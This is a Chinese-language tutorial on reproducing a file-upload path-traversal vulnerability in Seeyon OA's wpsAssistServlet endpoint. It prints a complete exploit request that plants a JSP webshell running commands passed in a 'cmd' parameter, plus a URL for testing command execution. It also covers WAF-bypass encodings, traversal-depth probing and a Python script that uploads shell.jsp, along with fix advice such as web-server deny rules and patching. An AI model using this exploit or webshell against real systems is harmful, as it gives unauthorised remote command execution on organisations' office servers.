手把手复现致远OA wpsAssistServlet文件上传漏洞(附完整请求包与修复建议)
致远OA wpsAssistServlet文件上传漏洞深度复现指南
在数字化转型浪潮中,企业协同办公系统的安全性日益成为攻防演练的重点。近期曝光的致远OA wpsAssistServlet文件上传漏洞因其高危害性和易利用性,迅速成为安全圈热议话题。本文将带您从零开始,完整复现这一漏洞的利用过程,同时提供详尽的修复方案。
1. 漏洞环境准备
复现漏洞的第一步是搭建合适的测试环境。建议使用虚拟机进行隔离测试,避免对生产环境造成影响。
推荐测试环境配置:
- 操作系统:Windows Server 2012 R2
- JDK版本:1.8.0_181
- 中间件:Apache Tomcat 8.5.35
- 致远OA版本:A8 V8.1SP1(受漏洞影响的典型版本)
安装完成后,需要确认几个关键点:
- 检查
/seeyon/wpsAssistServlet接口是否可访问 - 确认web应用部署路径(通常为
ApacheJetspeed/webapps/ROOT/) - 准备一个简单的JSP测试文件,如:
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <% out.println("Vulnerability Test Page"); %>2. 漏洞原理深度解析
该漏洞的核心在于wpsAssistServlet接口对用户上传文件路径的校验不足。攻击者可以通过路径穿越(Path Traversal)技术,将恶意文件上传至web可访问目录。
关键参数分析:
| 参数名 | 作用 | 恶意利用方式 |
|---|---|---|
| flag | 操作类型 | 固定为"save"表示保存文件 |
| realFileType | 文件保存路径 | 通过../../实现目录穿越 |
| fileId | 文件标识 | 任意数字即可 |
漏洞利用的实质是通过构造特殊的realFileType参数,绕过系统对上传目录的限制。例如:
../../../../ApacheJetspeed/webapps/ROOT/test.jsp这个路径会向上穿越4级目录,最终定位到web根目录下的ROOT文件夹。
3. 完整漏洞复现步骤
3.1 构造恶意请求包
使用Burp Suite或Postman等工具发送以下精心构造的请求:
POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/test.jsp&fileId=2 HTTP/1.1 Host: target.com Content-Length: 349 Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b --59229605f98b8cf290a7b8908b34616b Content-Disposition: form-data; name="upload"; filename="test.txt" Content-Type: application/vnd.ms-excel <%@ page import="java.util.*,java.io.*"%> <% String cmd = request.getParameter("cmd"); Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } %> --59229605f98b8cf290a7b8908b34616b--关键注意事项:
- 边界符(boundary)必须与Content-Type中声明的一致
- 虽然上传的文件名是test.txt,但服务器会根据realFileType参数保存为.jsp文件
- 文件内容需要是有效的JSP代码
3.2 验证漏洞利用结果
成功上传后,可以通过以下方式验证:
- 直接访问上传的文件:
http://target.com/test.jsp - 测试命令执行功能(如果上传的是webshell):
http://target.com/test.jsp?cmd=whoami
常见问题排查:
- 如果返回404,可能是路径穿越层数不够
- 如果返回500错误,检查JSP代码是否有语法错误
- 某些版本可能需要不同的目录穿越层数
4. 漏洞修复方案
4.1 临时缓解措施
对于无法立即升级的系统,可采取以下临时防护方案:
Nginx配置示例:
location ~ ^/seeyon/wpsAssistServlet { deny all; return 403; }Apache配置示例:
<LocationMatch "^/seeyon/wpsAssistServlet"> Order deny,allow Deny from all </LocationMatch>4.2 官方补丁升级
致远官方已发布针对该漏洞的补丁,建议采取以下升级步骤:
- 联系致远技术支持获取最新补丁包
- 备份当前系统和数据库
- 在测试环境验证补丁兼容性
- 生产环境实施升级,建议在业务低峰期进行
- 升级后全面测试各业务功能
4.3 长期安全加固建议
文件上传功能安全规范:
- 严格限制上传文件类型
- 对上传文件内容进行安全检查
- 使用随机生成的文件名
- 将上传文件存储在非web可访问目录
系统层面防护:
- 部署WAF设备,配置针对路径穿越攻击的规则
- 定期进行安全扫描和渗透测试
- 建立完善的补丁管理流程
日志监控:
# 监控可疑访问日志示例 grep -E 'POST /seeyon/wpsAssistServlet' /var/log/tomcat/access.log
5. 漏洞复现中的实用技巧
在实际复现过程中,以下几个技巧可能帮您节省时间:
目录穿越层数探测:
- 从
../开始尝试,逐步增加层数 - 使用Burp Intruder进行自动化测试
- 从
文件上传位置确认:
- 先上传一个无害的txt文件,通过报错信息判断实际存储位置
- 检查服务器上的临时目录
绕过可能的防护:
- 尝试URL编码特殊字符:
../→%2e%2e%2f - 使用双重编码:
%252e%252e%252f - 测试不同的参数组合方式
- 尝试URL编码特殊字符:
自动化脚本示例(Python):
import requests url = "http://target.com/seeyon/wpsAssistServlet" params = { "flag": "save", "realFileType": "../../../../ApacheJetspeed/webapps/ROOT/shell.jsp", "fileId": "2" } files = {'upload': ('test.txt', '<%@ out.println("test");%>', 'text/plain')} response = requests.post(url, params=params, files=files) print(response.status_code, response.text)